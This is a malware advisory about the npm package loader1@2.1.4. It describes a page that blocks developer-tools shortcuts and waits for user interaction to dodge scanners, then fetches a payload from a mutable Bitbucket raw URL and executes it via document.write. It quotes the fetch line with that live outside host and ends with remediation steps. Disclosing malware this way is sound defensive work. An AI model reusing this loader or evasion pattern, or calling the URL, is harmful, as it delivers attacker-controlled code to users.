loader1@2.1.4

The npm package's only file of substance is index.html (declared as `main` in package.json). When opened in a browser, the page first disables developer-tools shortcuts (F12, Ctrl+Shift+I/J/C, Ctrl+U, Ctrl+S, right-click) and gates execution behind a real user-input check (mousemove/click/keydown within 1200ms, otherwise it shows "Blocked (no interaction)" and stops). Once the gate passes, it executes `fetch("https://bitbucket.org/p2p-alt-public/p2p-emis/raw/main/GameWebSight")` and feeds the response into `document.write(html)`, which executes any `<script>` tags in the returned content. The Bitbucket source is unpinned (`raw/main/...`), publisher-anonymous (`p2p-alt-public`), and mutable — whoever controls that repository can swap the served payload at any time without republishing the npm package. Combined with empty `author`, generic description ("single file websight"), and the fact that `main: index.html` cannot be `require()`d as a Node library, the package has no legitimate library purpose; its only function is to deliver the gated remote-fetch loader. The devtools-blocking + interaction-gating pattern is canonical hostile-loader / redirector evasion against automated scanners. ## Source: ghsa-malware (dc402f9d8e63016f89d3140a00c59d5e84d0c71eac453a83dac2858558760d5d) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.